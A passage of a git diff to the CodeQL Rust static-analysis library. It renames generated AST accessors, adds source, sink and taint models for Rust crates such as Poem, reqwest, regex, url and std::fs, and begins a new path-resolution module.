index b78043e09223..75b83ea647ec 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll
@@ -11,6 +11,7 @@ import codeql.rust.elements.Attr
 import codeql.rust.elements.Expr
 import codeql.rust.elements.FieldList
 import codeql.rust.elements.Name
+import codeql.rust.elements.internal.VariantDefImpl::Impl as VariantDefImpl
 import codeql.rust.elements.Visibility
 
 /**
@@ -26,7 +27,7 @@ module Generated {
    * INTERNAL: Do not reference the `Generated::Variant` class directly.
    * Use the subclass `Variant`, where the following predicates are available.
    */
-  class Variant extends Synth::TVariant, AddressableImpl::Addressable {
+  class Variant extends Synth::TVariant, VariantDefImpl::VariantDef, AddressableImpl::Addressable {
     override string getAPrimaryQlClass() { result = "Variant" }
 
     /**
@@ -48,16 +49,17 @@ module Generated {
     final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
 
     /**
-     * Gets the expression of this variant, if it exists.
+     * Gets the discriminant of this variant, if it exists.
      */
-    Expr getExpr() {
-      result = Synth::convertExprFromRaw(Synth::convertVariantToRaw(this).(Raw::Variant).getExpr())
+    Expr getDiscriminant() {
+      result =
+        Synth::convertExprFromRaw(Synth::convertVariantToRaw(this).(Raw::Variant).getDiscriminant())
     }
 
     /**
-     * Holds if `getExpr()` exists.
+     * Holds if `getDiscriminant()` exists.
      */
-    final predicate hasExpr() { exists(this.getExpr()) }
+    final predicate hasDiscriminant() { exists(this.getDiscriminant()) }
 
     /**
      * Gets the field list of this variant, if it exists.
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/VariantDef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantDef.qll
new file mode 100644
index 000000000000..3114f03caded
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantDef.qll
@@ -0,0 +1,21 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the generated definition of `VariantDef`.
+ * INTERNAL: Do not import directly.
+ */
+
+private import codeql.rust.elements.internal.generated.Synth
+private import codeql.rust.elements.internal.generated.Raw
+import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
+
+/**
+ * INTERNAL: This module contains the fully generated definition of `VariantDef` and should not
+ * be referenced directly.
+ */
+module Generated {
+  /**
+   * INTERNAL: Do not reference the `Generated::VariantDef` class directly.
+   * Use the subclass `VariantDef`, where the following predicates are available.
+   */
+  class VariantDef extends Synth::TVariantDef, AstNodeImpl::AstNode { }
+}
diff --git a/rust/ql/lib/codeql/rust/frameworks/Poem.qll b/rust/ql/lib/codeql/rust/frameworks/Poem.qll
new file mode 100644
index 000000000000..66c01a415a1c
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/frameworks/Poem.qll
@@ -0,0 +1,20 @@
+/**
+ * Provides modeling for the `Poem` library.
+ */
+
+private import rust
+private import codeql.rust.Concepts
+private import codeql.rust.dataflow.DataFlow
+
+/**
+ * Parameters of a handler function
+ */
+private class PoemHandlerParam extends RemoteSource::Range {
+  PoemHandlerParam() {
+    exists(TupleStructPat param |
+      param.getResolvedPath() = ["crate::web::query::Query", "crate::web::path::Path"]
+    |
+      this.asPat().getPat() = param.getAField()
+    )
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/frameworks/log.model.yml b/rust/ql/lib/codeql/rust/frameworks/log.model.yml
index 8634f55f239c..d6ac223742f8 100644
--- a/rust/ql/lib/codeql/rust/frameworks/log.model.yml
+++ b/rust/ql/lib/codeql/rust/frameworks/log.model.yml
@@ -3,9 +3,11 @@ extensions:
       pack: codeql/rust-all
       extensible: sinkModel
     data:
-      - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[0]", "log-injection", "manual"] # args
-      - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[2]", "log-injection", "manual"] # target
-      - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[3]", "log-injection", "manual"] # key value
+      - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[0]", "log-injection", "manual"] # logger / args (pre v0.4.27)
+      - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[1]", "log-injection", "manual"] # args / level (pre v0.4.27)
+      - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[2]", "log-injection", "manual"] # level / target (pre v0.4.27)
+      - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[3]", "log-injection", "manual"] # target / key value (pre v0.4.27)
+      - ["repo:https://github.com/rust-lang/log:log", "crate::__private_api::log", "Argument[4]", "log-injection", "manual"] # key value
       - ["lang:std", "crate::io::stdio::_print", "Argument[0]", "log-injection", "manual"]
       - ["lang:std", "crate::io::stdio::_eprint", "Argument[0]", "log-injection", "manual"]
       - ["lang:std", "<crate::io::stdio::StdoutLock as crate::io::Write>::write", "Argument[0]", "log-injection", "manual"]
diff --git a/rust/ql/lib/codeql/rust/frameworks/regex.model.yml b/rust/ql/lib/codeql/rust/frameworks/regex.model.yml
new file mode 100644
index 000000000000..b645dc0b955c
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/frameworks/regex.model.yml
@@ -0,0 +1,7 @@
+# Models for the `regex` crate.
+extensions:
+  - addsTo:
+      pack: codeql/rust-all
+      extensible: summaryModel
+    data:
+      - ["repo:https://github.com/rust-lang/regex:regex", "crate::escape", "Argument[0].Reference", "ReturnValue", "taint", "manual"]
diff --git a/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml b/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml
index 34ae80e4999a..3be832c8e7fb 100644
--- a/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml
+++ b/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml
@@ -5,6 +5,12 @@ extensions:
     data:
       - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::get", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"]
       - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::get", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"]
+  - addsTo:
+      pack: codeql/rust-all
+      extensible: sinkModel
+    data:
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::async_impl::client::Client>::request", "Argument[1]", "transmission", "manual"]
+      - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<crate::blocking::client::Client>::request", "Argument[1]", "transmission", "manual"]
   - addsTo:
       pack: codeql/rust-all
       extensible: summaryModel
diff --git a/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll b/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll
index 18ece8b24086..70b92a3f7eaf 100644
--- a/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll
+++ b/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll
@@ -31,15 +31,15 @@ class StreamCipherInit extends Cryptography::CryptographicOperation::Range {
         rawAlgorithmName =
           p.getPath()
               .getQualifier()
-              .getPart()
+              .getSegment()
               .getGenericArgList()
               .getGenericArg(0)
               .(TypeArg)
               .getTypeRepr()
               .(PathTypeRepr)
               .getPath()
-              .getPart()
-              .getNameRef()
+              .getSegment()
+              .getIdentifier()
               .getText()
       ) and
       algorithmName = simplifyAlgorithmName(rawAlgorithmName)
diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Clone.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Clone.qll
index 456da7bdde0d..0798343837e0 100644
--- a/rust/ql/lib/codeql/rust/frameworks/stdlib/Clone.qll
+++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Clone.qll
@@ -9,7 +9,7 @@ final class CloneCallable extends SummarizedCallable::Range {
     // NOTE: The function target may not exist in the database, so we base this
     // on method calls.
     exists(MethodCallExpr c |
-      c.getNameRef().getText() = "clone" and
+      c.getIdentifier().getText() = "clone" and
       c.getArgList().getNumberOfArgs() = 0 and
       this = c.getResolvedCrateOrigin() + "::_::" + c.getResolvedPath()
     )
diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll
new file mode 100644
index 000000000000..9fc0e70833bc
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll
@@ -0,0 +1,23 @@
+/**
+ * Provides classes modeling security-relevant aspects of the standard libraries.
+ */
+
+private import rust
+private import codeql.rust.Concepts
+private import codeql.rust.controlflow.ControlFlowGraph as Cfg
+private import codeql.rust.controlflow.CfgNodes as CfgNodes
+private import codeql.rust.dataflow.DataFlow
+
+/**
+ * A call to the `starts_with` method on a `Path`.
+ */
+private class StartswithCall extends Path::SafeAccessCheck::Range, CfgNodes::MethodCallExprCfgNode {
+  StartswithCall() {
+    this.getAstNode().(Resolvable).getResolvedPath() = "<crate::path::Path>::starts_with"
+  }
+
+  override predicate checks(Cfg::CfgNode e, boolean branch) {
+    e = this.getReceiver() and
+    branch = true
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml
new file mode 100644
index 000000000000..c7fa72793306
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml
@@ -0,0 +1,46 @@
+extensions:
+  - addsTo:
+      pack: codeql/rust-all
+      extensible: sourceModel
+    data: []
+  - addsTo:
+      pack: codeql/rust-all
+      extensible: sinkModel
+    data:
+      - ["lang:std", "crate::fs::copy", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::copy", "Argument[1]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::create_dir", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::create_dir_all", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::hard_link", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::hard_link", "Argument[1]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::metadata", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::read", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::read_dir", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::read_link", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::read_to_string", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::remove_dir", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::remove_dir_all", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::remove_file", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::rename", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::rename", "Argument[1]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::set_permissions", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::soft_link", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::soft_link", "Argument[1]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::symlink_metadata", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "crate::fs::write", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "<crate::fs::DirBuilder>::create", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "<crate::fs::File>::create", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "<crate::fs::File>::create_buffered", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "<crate::fs::File>::create_new", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "<crate::fs::File>::open", "Argument[0]", "path-injection", "manual"]
+      - ["lang:std", "<crate::fs::File>::open_buffered", "Argument[0]", "path-injection", "manual"]
+
+  - addsTo:
+      pack: codeql/rust-all
+      extensible: summaryModel
+    data:
+      - ["lang:std", "<crate::path::PathBuf as crate::convert::From>::from", "Argument[0]", "ReturnValue", "taint", "manual"]
+      - ["lang:std", "<crate::path::Path>::join", "Argument[self]", "ReturnValue", "taint", "manual"]
+      - ["lang:std", "<crate::path::Path>::join", "Argument[0]", "ReturnValue", "taint", "manual"]
+      - ["lang:std", "<crate::path::Path>::canonicalize", "Argument[self].OptionalStep[normalize-path]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"]
+      - ["lang:std", "<crate::path::Path>::canonicalize", "Argument[self].OptionalBarrier[normalize-path]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"]
diff --git a/rust/ql/lib/codeql/rust/frameworks/url.model.yml b/rust/ql/lib/codeql/rust/frameworks/url.model.yml
new file mode 100644
index 000000000000..31a7c79011ab
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/frameworks/url.model.yml
@@ -0,0 +1,7 @@
+# Models for the `url` crate
+extensions:
+  - addsTo:
+      pack: codeql/rust-all
+      extensible: summaryModel
+    data:
+      - ["repo:https://github.com/servo/rust-url:url", "<crate::Url>::parse", "Argument[0].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"]
\ No newline at end of file
diff --git a/rust/ql/lib/codeql/rust/AstConsistency.qll b/rust/ql/lib/codeql/rust/internal/AstConsistency.qll
similarity index 77%
rename from rust/ql/lib/codeql/rust/AstConsistency.qll
rename to rust/ql/lib/codeql/rust/internal/AstConsistency.qll
index 4069a77f4b2b..b86ebc9a0f90 100644
--- a/rust/ql/lib/codeql/rust/AstConsistency.qll
+++ b/rust/ql/lib/codeql/rust/internal/AstConsistency.qll
@@ -1,5 +1,5 @@
 /**
- * Provides classes for recognizing control flow graph inconsistencies.
+ * Provides classes for recognizing AST inconsistencies.
  */
 
 private import rust
@@ -24,7 +24,9 @@ query predicate multipleLocations(Locatable e) { strictcount(e.getLocation()) >
 /**
  * Holds if `e` does not have a `Location`.
  */
-query predicate noLocation(Locatable e) { not exists(e.getLocation()) }
+query predicate noLocation(Locatable e) {
+  not exists(e.getLocation()) and not e.(AstNode).getParentNode*() = any(Crate c).getModule()
+}
 
 private predicate multiplePrimaryQlClasses(Element e) {
   strictcount(string cls | cls = e.getAPrimaryQlClass() and cls != "VariableAccess") > 1
@@ -38,7 +40,7 @@ query predicate multiplePrimaryQlClasses(Element e, string s) {
   s = strictconcat(e.getPrimaryQlClasses(), ", ")
 }
 
-private Element getParent(Element child) { child = getChildAndAccessor(result, _, _) }
+private Element getParent(Element child) { child = getChild(result, _) }
 
 private predicate multipleParents(Element child) { strictcount(getParent(child)) > 1 }
 
@@ -54,8 +56,8 @@ query predicate multipleParents(Element child, string childClass, Element parent
 
 /** Holds if `parent` has multiple children at the same index. */
 query predicate multipleChildren(Element parent, int index, Element child1, Element child2) {
-  child1 = getChildAndAccessor(parent, index, _) and
-  child2 = getChildAndAccessor(parent, index, _) and
+  child1 = getChild(parent, index) and
+  child2 = getChild(parent, index) and
   child1 != child2
 }
 
@@ -73,20 +75,6 @@ query predicate multiplePositions(Element parent, int pos1, int pos2, string acc
   pos1 != pos2
 }
 
-private import codeql.rust.elements.internal.PathResolution
-
-/** Holds if `p` may resolve to multiple items including `i`. */
-query predicate multiplePathResolutions(Path p, ItemNode i) {
-  i = resolvePath(p) and
-  // `use foo::bar` may use both a type `bar` and a value `bar`
-  not p =
-    any(UseTree use |
-      not use.isGlob() and
-      not use.hasUseTreeList()
-    ).getPath() and
-  strictcount(resolvePath(p)) > 1
-}
-
 /**
  * Gets counts of abstract syntax tree inconsistencies of each type.
  */
@@ -112,7 +100,4 @@ int getAstInconsistencyCounts(string type) {
   or
   type = "Multiple positions" and
   result = count(Element e | multiplePositions(_, _, _, _, e) | e)
-  or
-  type = "Multiple path resolutions" and
-  result = count(Path p | multiplePathResolutions(p, _) | p)
 }
diff --git a/rust/ql/lib/codeql/rust/internal/CachedStages.qll b/rust/ql/lib/codeql/rust/internal/CachedStages.qll
index 0cf3c32921e8..d9ad8e1fbc16 100644
--- a/rust/ql/lib/codeql/rust/internal/CachedStages.qll
+++ b/rust/ql/lib/codeql/rust/internal/CachedStages.qll
@@ -95,12 +95,44 @@ module Stages {
     }
   }
 
+  /**
+   * The type inference stage.
+   */
+  cached
+  module TypeInference {
+    private import codeql.rust.internal.Type
+    private import codeql.rust.internal.TypeInference
+
+    /**
+     * Always holds.
+     * Ensures that a predicate is evaluated as part of the CFG stage.
+     */
+    cached
+    predicate ref() { 1 = 1 }
+
+    /**
+     * DO NOT USE!
+     *
+     * Contains references to each predicate that use the above `ref` predicate.
+     */
+    cached
+    predicate backref() {
+      1 = 1
+      or
+      exists(Type t)
+      or
+      exists(inferType(_))
+    }
+  }
+
   /**
    * The data flow stage.
    */
   cached
   module DataFlowStage {
     private import codeql.rust.dataflow.internal.DataFlowImpl
+    private import codeql.rust.dataflow.internal.Node
+    private import codeql.rust.dataflow.internal.Content
     private import codeql.rust.dataflow.internal.TaintTrackingImpl
 
     /**
@@ -122,6 +154,10 @@ module Stages {
       exists(Node n)
       or
       RustTaintTracking::defaultAdditionalTaintStep(_, _, _)
+      or
+      exists(DataFlowCall call)
+      or
+      exists(Content content)
     }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll
new file mode 100644
index 000000000000..74a07ab890eb
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll
@@ -0,0 +1,1002 @@
+/**
+ * Provides functionality for resolving paths, using the predicate `resolvePath`.
+ */
+
+private import rust
+private import codeql.rust.elements.internal.generated.ParentChild
+
+private newtype TNamespace =
+  TTypeNamespace() or
+  TValueNamespace()
+
+/**
+ * A namespace.
+ *
+ * Either the _value_ namespace or the _type_ namespace, see
+ * https://doc.rust-lang.org/reference/names/namespaces.html.
+ */
+final class Namespace extends TNamespace {
+  /** Holds if this is the value namespace. */
+  predicate isValue() { this = TValueNamespace() }
+
+  /** Holds if this is the type namespace. */
+  predicate isType() { this = TTypeNamespace() }
+
+  /** Gets a textual representation of this namespace. */
+  string toString() {
+    this.isValue() and result = "value"
+    or
+    this.isType() and result = "type"
+  }
+}
+
+/**
+ * An item that may be referred to by a path, and which is a node in
+ * the _item graph_.
+ *
+ * The item graph is a labeled directed graph, where an edge
+ * `item1 --name--> item2` means that `item2` is available inside the
+ * scope of `item1` under the name `name`. For example, if we have
+ *
+ * ```rust
+ * mod m1 {
+ *     mod m2 { }
+ * }
+ * ```
+ *
+ * then there is an edge `m1 --m2--> m1::m2`.
+ *
+ * Source files are also considered nodes in the item graph, and for
+ * each source file `f` there is an edge `f --name--> item` when `f`
+ * declares `item` with the name `name`.
+ *
+ * For imports like
+ *
+ * ```rust
+ * mod m1 {
+ *     mod m2;
+ *     use m2::foo;
+ * }
+ * ```
+ *
+ * we first generate an edge `m1::m2 --name--> f::item`, where `item` is
+ * any item (named `name`) inside the imported source file `f`. Using this
+ * edge, `m2::foo` can resolve to `f::foo`, which results in the edge
+ * `m1::use m2 --foo--> f::foo`. Lastly, all edges out of `use` nodes are
+ * lifted to predecessors in the graph, so we get an edge `m1 --foo--> f::foo`.
+ *
+ *
+ * References:
+ * - https://doc.rust-lang.org/reference/items/modules.html
+ * - https://doc.rust-lang.org/reference/names/scopes.html
+ * - https://doc.rust-lang.org/reference/paths.html
+ * - https://doc.rust-lang.org/reference/visibility-and-privacy.html
+ * - https://doc.rust-lang.org/reference/names/namespaces.html
+ */
+abstract class ItemNode extends Locatable {
+  /** Gets the (original) name of this item. */
+  abstract string getName();
+
+  /** Gets the namespace that this item belongs to, if any. */
+  abstract Namespace getNamespace();
+
+  /** Gets the visibility of this item, if any. */
+  abstract Visibility getVisibility();
+
+  /** Gets the `i`th type parameter of this item, if any. */
+  abstract TypeParam getTypeParam(int i);
+
+  /** Holds if this item is declared as `pub`. */
+  bindingset[this]
+  pragma[inline_late]
+  predicate isPublic() { exists(this.getVisibility()) }
+
+  /** Gets an element that has this item as immediately enclosing item. */
+  pragma[nomagic]
+  Element getADescendant() {
+    getImmediateParent(result) = this
+    or
+    exists(Element mid |
+      mid = this.getADescendant() and
+      getImmediateParent(result) = mid and
+      not mid instanceof ItemNode
+    )
+  }
+
+  /** Gets the immediately enclosing item of this item, if any. */
+  pragma[nomagic]
+  ItemNode getImmediateParent() { this = result.getADescendant() }
+
+  /** Gets the immediately enclosing module (or source file) of this item. */
+  pragma[nomagic]
+  ModuleLikeNode getImmediateParentModule() {
+    this = result.getAnItemInScope()
+    or
+    result = this.(SourceFileItemNode).getSuper()
+  }
+
+  pragma[nomagic]
+  private ItemNode getASuccessorRec(string name) {
+    sourceFileEdge(this, name, result)
+    or
+    this = result.getImmediateParent() and
+    name = result.getName()
+    or
+    fileImportEdge(this, name, result)
+    or
+    useImportEdge(this, name, result)
+    or
+    crateDefEdge(this, name, result)
+    or
+    crateDependencyEdge(this, name, result)
+    or
+    // items made available through `use` are available to nodes that contain the `use`
+    exists(UseItemNode use |
+      use = this.getASuccessorRec(_) and
+      result = use.(ItemNode).getASuccessorRec(name)
+    )
+    or
+    // items made available through macro calls are available to nodes that contain the macro call
+    exists(MacroCallItemNode call |
+      call = this.getASuccessorRec(_) and
+      result = call.(ItemNode).getASuccessorRec(name)
+    )
+    or
+    // a trait has access to the associated items of its supertraits
+    this =
+      any(TraitItemNode trait |
+        result = trait.resolveABound().getASuccessorRec(name) and
+        result instanceof AssocItemNode and
+        not trait.hasAssocItem(name)
+      )
+    or
+    // items made available by an implementation where `this` is the implementing type
+    exists(ItemNode node |
+      this = node.(ImplItemNode).resolveSelfTy() and
+      result = node.getASuccessorRec(name) and
+      result instanceof AssocItemNode
+    )
+    or
+    // trait items with default implementations made available in an implementation
+    exists(ImplItemNode impl, ItemNode trait |
+      this = impl and
+      trait = impl.resolveTraitTy() and
+      result = trait.getASuccessorRec(name) and
+      result.(AssocItemNode).hasImplementation() and
+      not impl.hasAssocItem(name)
+    )
+    or
+    // type parameters have access to the associated items of its bounds
+    result = this.(TypeParamItemNode).resolveABound().getASuccessorRec(name).(AssocItemNode)
+  }
+
+  /** Gets a successor named `name` of this item, if any. */
+  pragma[nomagic]
+  ItemNode getASuccessor(string name) {
+    result = this.getASuccessorRec(name)
+    or
+    name = "super" and
+    if this instanceof Module or this instanceof SourceFile
+    then result = this.getImmediateParentModule()
+    else result = this.getImmediateParentModule().getImmediateParentModule()
+    or
+    name = "self" and
+    if this instanceof Module then result = this else result = this.getImmediateParentModule()
+    or
+    name = "Self" and
+    this = result.(ImplOrTraitItemNode).getAnItemInSelfScope()
+    or
+    name = "crate" and
+    result =
+      any(CrateItemNode crate |
+        this = crate.getASourceFile()
+        or
+        this = crate.getModuleNode()
+      )
+  }
+
+  /** Gets the location of this item. */
+  Location getLocation() { result = super.getLocation() }
+}
+
+/** A module or a source file. */
+abstract private class ModuleLikeNode extends ItemNode {
+  /** Gets an item that may refer directly to items defined in this module. */
+  pragma[nomagic]
+  ItemNode getAnItemInScope() {
+    result.getImmediateParent() = this
+    or
+    exists(ItemNode mid |
+      mid = this.getAnItemInScope() and
+      result.getImmediateParent() = mid and
+      not mid instanceof ModuleLikeNode
+    )
+  }
+}
+
+private class SourceFileItemNode extends ModuleLikeNode, SourceFile {
+  pragma[nomagic]
+  ModuleLikeNode getSuper() {
+    result = any(ModuleItemNode mod | fileImport(mod, this)).getASuccessor("super")
+  }
+
+  override string getName() { result = "(source file)" }
+
+  override Namespace getNamespace() {
+    result.isType() // can be referenced with `super`
+  }
+
+  override Visibility getVisibility() { none() }
+
+  override predicate isPublic() { any() }
+
+  override TypeParam getTypeParam(int i) { none() }
+}
+
+class CrateItemNode extends ItemNode instanceof Crate {
+  /**
+   * Gets the module node that defines this crate.
+   *
+   * This is either a source file, when the crate is defined in source code,
+   * or a module, when the crate is defined in a dependency.
+   */
+  pragma[nomagic]
+  ModuleLikeNode getModuleNode() {
+    result = super.getSourceFile()
+    or
+    not exists(super.getSourceFile()) and
+    result = super.getModule()
+  }
+
+  /**
+   * Gets a source file that belongs to this crate, if any.
+   *
+   * This is calculated as those source files that can be reached from the entry
+   * file of this crate using zero or more `mod` imports, without going through
+   * the entry point of some other crate.
+   */
+  pragma[nomagic]
+  SourceFileItemNode getASourceFile() {
+    result = super.getSourceFile()
+    or
+    exists(SourceFileItemNode mid, Module mod |
+      mid = this.getASourceFile() and
+      mod.getFile() = mid.getFile() and
+      fileImport(mod, result) and
+      not result = any(Crate other).getSourceFile()
+    )
+  }
+
+  override string getName() { result = Crate.super.getName() }
+
+  override Namespace getNamespace() {
+    result.isType() // can be referenced with `crate`
+  }
+
+  override Visibility getVisibility() { none() }
+
+  override predicate isPublic() { any() }
+
+  override TypeParam getTypeParam(int i) { none() }
+}
+
+/** An item that can occur in a trait or an `impl` block. */
+abstract private class AssocItemNode extends ItemNode, AssocItem {
+  /** Holds if this associated item has an implementation. */
+  abstract predicate hasImplementation();
+}
+
+private class ConstItemNode extends AssocItemNode instanceof Const {
+  override string getName() { result = Const.super.getName().getText() }
+
+  override predicate hasImplementation() { super.hasBody() }
+
+  override Namespace getNamespace() { result.isValue() }
+
+  override Visibility getVisibility() { result = Const.super.getVisibility() }
+
+  override TypeParam getTypeParam(int i) { none() }
+}
+
+private class EnumItemNode extends ItemNode instanceof Enum {
+  override string getName() { result = Enum.super.getName().getText() }
+
+  override Namespace getNamespace() { result.isType() }
+
+  override Visibility getVisibility() { result = Enum.super.getVisibility() }
+
+  override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) }
+}
+
+private class VariantItemNode extends ItemNode instanceof Variant {
+  override string getName() { result = Variant.super.getName().getText() }
+
+  override Namespace getNamespace() {
+    if super.getFieldList() instanceof StructFieldList then result.isType() else result.isValue()
+  }
+
+  override TypeParam getTypeParam(int i) {
+    result = super.getEnum().getGenericParamList().getTypeParam(i)
+  }
+
+  override Visibility getVisibility() { result = Variant.super.getVisibility() }
+}
+
+class FunctionItemNode extends AssocItemNode instanceof Function {
+  override string getName() { result = Function.super.getName().getText() }
+
+  override predicate hasImplementation() { super.hasBody() }
+
+  override Namespace getNamespace() { result.isValue() }
+
+  override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) }
+
+  override Visibility getVisibility() { result = Function.super.getVisibility() }
+}
+
+abstract class ImplOrTraitItemNode extends ItemNode {
+  /** Gets an item that may refer to this node using `Self`. */
+  pragma[nomagic]
+  ItemNode getAnItemInSelfScope() {
+    result.getImmediateParent() = this
+    or
+    exists(ItemNode mid |
+      mid = this.getAnItemInSelfScope() and
+      result.getImmediateParent() = mid and
+      not mid instanceof ImplOrTraitItemNode
+    )
+  }
+
+  /** Gets a `Self` path that refers to this item. */
+  Path getASelfPath() {
+    isUnqualifiedSelfPath(result) and
+    this = unqualifiedPathLookup(result, _)
+  }
+
+  /** Gets an associated item belonging to this trait or `impl` block. */
+  abstract AssocItemNode getAnAssocItem();
+
+  /** Holds if this trait or `impl` block declares an associated item named `name`. */
+  pragma[nomagic]
+  predicate hasAssocItem(string name) { name = this.getAnAssocItem().getName() }
+}
+
+pragma[nomagic]
+private TypeParamItemNode resolveTypeParamPathTypeRepr(PathTypeRepr ptr) {
+  result = resolvePath(ptr.getPath())
+}
+
+class ImplItemNode extends ImplOrTraitItemNode instanceof Impl {
+  Path getSelfPath() { result = super.getSelfTy().(PathTypeRepr).getPath() }
+
+  Path getTraitPath() { result = super.getTrait().(PathTypeRepr).getPath() }
+
+  ItemNode resolveSelfTy() { result = resolvePath(this.getSelfPath()) }
+
+  TraitItemNode resolveTraitTy() { result = resolvePath(this.getTraitPath()) }
+
+  pragma[nomagic]
+  private TypeRepr getASelfTyArg() {
+    result =
+      this.getSelfPath().getSegment().getGenericArgList().getAGenericArg().(TypeArg).getTypeRepr()
+  }
+
+  /**
+   * Holds if this `impl` block is not fully parametric. That is, the implementing
+   * type is generic and the implementation is not parametrically polymorphic in all
+   * the implementing type's arguments.
+   *
+   * Examples:
+   *
+   * ```rust
+   * impl Foo { ... } // fully parametric
+   *
+   * impl<T> Foo<T> { ... } // fully parametric
+   *
+   * impl Foo<i64> { ... } // not fully parametric
+   *
+   * impl<T> Foo<Foo<T>> { ... } // not fully parametric
+   *
+   * impl<T: Trait> Foo<T> { ... } // not fully parametric
+   *
+   * impl<T> Foo<T> where T: Trait { ... } // not fully parametric
+   * ```
+   */
+  pragma[nomagic]
+  predicate isNotFullyParametric() {
+    exists(TypeRepr arg | arg = this.getASelfTyArg() |
+      not exists(resolveTypeParamPathTypeRepr(arg))
+      or
+      resolveTypeParamPathTypeRepr(arg).hasTraitBound()
+    )
+  }
+
+  /**
+   * Holds if this `impl` block is fully parametric. Examples:
+   *
+   * ```rust
+   * impl Foo { ... } // fully parametric
+   *
+   * impl<T> Foo<T> { ... } // fully parametric
+   *
+   * impl Foo<i64> { ... } // not fully parametric
+   *
+   * impl<T> Foo<Foo<T>> { ... } // not fully parametric
+   *
+   * impl<T: Trait> Foo<T> { ... } // not fully parametric
+   *
+   * impl<T> Foo<T> where T: Trait { ... } // not fully parametric
+   * ```
+   */
+  predicate isFullyParametric() { not this.isNotFullyParametric() }
+
+  override AssocItemNode getAnAssocItem() { result = super.getAssocItemList().getAnAssocItem() }
+
+  override string getName() { result = "(impl)" }
+
+  override Namespace getNamespace() {
+    result.isType() // can be referenced with `Self`
+  }
+
+  override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) }
+
+  override Visibility getVisibility() { result = Impl.super.getVisibility() }
+}
+
+private class MacroCallItemNode extends AssocItemNode instanceof MacroCall {
+  override string getName() { result = "(macro call)" }
+
+  override predicate hasImplementation() { none() }
+
